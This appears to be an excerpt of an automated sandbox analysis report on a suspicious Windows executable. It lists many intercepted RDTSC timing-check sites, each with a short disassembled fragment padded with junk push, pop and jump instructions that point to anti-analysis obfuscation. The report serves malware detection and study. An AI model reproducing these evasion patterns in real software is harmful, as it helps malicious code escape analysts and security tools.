Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 41DD70 second address: 41DD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4B7CC118B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 420C28 second address: 420C5D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B7CC5D3A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jg 00007F4B7CC5D3B2h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jmp 00007F4B7CC5D3ACh 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 420C5D second address: 420C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 jmp 00007F4B7CC118C8h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jp 00007F4B7CC118BEh 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 422AEC second address: 422AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 422AF1 second address: 422B40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C2h 0x00000007 jc 00007F4B7CC118B8h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F4B7CC118C7h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F4B7CC118C4h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427A75 second address: 427A86 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B7CC5D3A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427A86 second address: 427A8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427A8A second address: 427A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3ACh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427EE2 second address: 427EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F4B7CC118B8h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427EF6 second address: 427EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427EFA second address: 427F16 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4B7CC118B6h 0x00000008 jmp 00007F4B7CC118BEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427F16 second address: 427F1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 427F1A second address: 427F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 42D611 second address: 42D615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 42D615 second address: 42D62E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 42D310 second address: 42D31E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 42D31E second address: 42D322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4301A7 second address: 4301AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4301AB second address: 4301B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 435677 second address: 43567B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43567B second address: 435681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 435681 second address: 43568C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F4B7CC5D3A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4344DC second address: 4344E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4344E2 second address: 4344E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4344E6 second address: 4344F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4344F7 second address: 4344FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 434633 second address: 43463D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 434B1E second address: 434B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 434DF7 second address: 434DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 434F48 second address: 434F5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F4B7CC5D3AAh 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3DD59A second address: 3DD5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC118C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3DD5AF second address: 3DD5BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3DD5BA second address: 3DD5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4B7CC118C0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 438ED7 second address: 438EED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 438EED second address: 438EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F3DCC second address: 3F3DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F3DD0 second address: 3F3DDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F3FB5 second address: 3F3FBF instructions: 0x00000000 rdtsc 0x00000002 js 00007F4B7CC5D3A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4255 second address: 3F4263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4263 second address: 3F4267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4267 second address: 3F426D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F426D second address: 3F4280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC5D3AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4280 second address: 3F4298 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4298 second address: 3F42CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ecx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jo 00007F4B7CC5D3C6h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F4B7CC5D3B4h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F42CA second address: 3F42CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F450B second address: 3F4569 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007F4B7CC5D3B4h 0x00000010 nop 0x00000011 jmp 00007F4B7CC5D3B0h 0x00000016 push 00000004h 0x00000018 mov cl, 7Bh 0x0000001a sub dword ptr [ebp+122D2636h], edx 0x00000020 nop 0x00000021 jmp 00007F4B7CC5D3AFh 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007F4B7CC5D3ACh 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4569 second address: 3F456D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4AC8 second address: 3F4ACD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4529 second address: 3F452D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F452D second address: 3F456D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F4B7CC5D3B0h 0x0000000c push 00000004h 0x0000000e mov cl, 7Bh 0x00000010 sub dword ptr [ebp+122D2636h], edx 0x00000016 nop 0x00000017 jmp 00007F4B7CC5D3AFh 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jng 00007F4B7CC5D3ACh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4D4B second address: 3F4D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3F4D4F second address: 3F4D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4391DA second address: 4391E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4391E2 second address: 4391E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4391E7 second address: 4391ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4391ED second address: 43920E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4B7CC5D3B8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4394ED second address: 43950E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F4B7CC118B6h 0x0000000c jmp 00007F4B7CC118BFh 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43950E second address: 43952E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F4B7CC5D3AFh 0x0000000d popad 0x0000000e jc 00007F4B7CC5D3ACh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43952E second address: 43954E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4B7CC118C8h 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 439660 second address: 4396AF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B7CC5D3ACh 0x00000008 jnl 00007F4B7CC5D3A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 js 00007F4B7CC5D3C0h 0x00000017 jmp 00007F4B7CC5D3B4h 0x0000001c jnc 00007F4B7CC5D3A6h 0x00000022 pushad 0x00000023 push edx 0x00000024 pop edx 0x00000025 jmp 00007F4B7CC5D3B9h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43998C second address: 4399B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC118BFh 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4B7CC118C4h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 439B37 second address: 439B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 439B3C second address: 439B62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4B7CC118BCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 439B62 second address: 439B67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 439CC4 second address: 439CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 439CCA second address: 439CDB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4B7CC5D3AAh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43B994 second address: 43B9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4B7CC118BAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43B9A6 second address: 43B9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43B9AA second address: 43B9C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43B9C7 second address: 43B9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC5D3B5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3B322D second address: 3B326C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4B7CC118B6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F4B7CC118BDh 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F4B7CC118C9h 0x0000001d popad 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43F9B9 second address: 43F9C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 43F9C7 second address: 43F9D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4B7CC118B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 442DC4 second address: 442DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44305C second address: 44307C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jl 00007F4B7CC118B6h 0x00000010 popad 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jc 00007F4B7CC118B6h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44307C second address: 443088 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B7CC5D3AEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 445898 second address: 4458A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 445422 second address: 445443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4B7CC5D3B7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 445443 second address: 445447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44D585 second address: 44D591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4B7CC5D3A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44BE0E second address: 44BE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44BE14 second address: 44BE1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44BE1F second address: 44BE23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44BF72 second address: 44BF85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b jo 00007F4B7CC5D3A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44BF85 second address: 44BF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44BF8D second address: 44BF93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C10B second address: 44C120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC118C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C120 second address: 44C13B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4B7CC5D3B5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C13B second address: 44C158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118C7h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
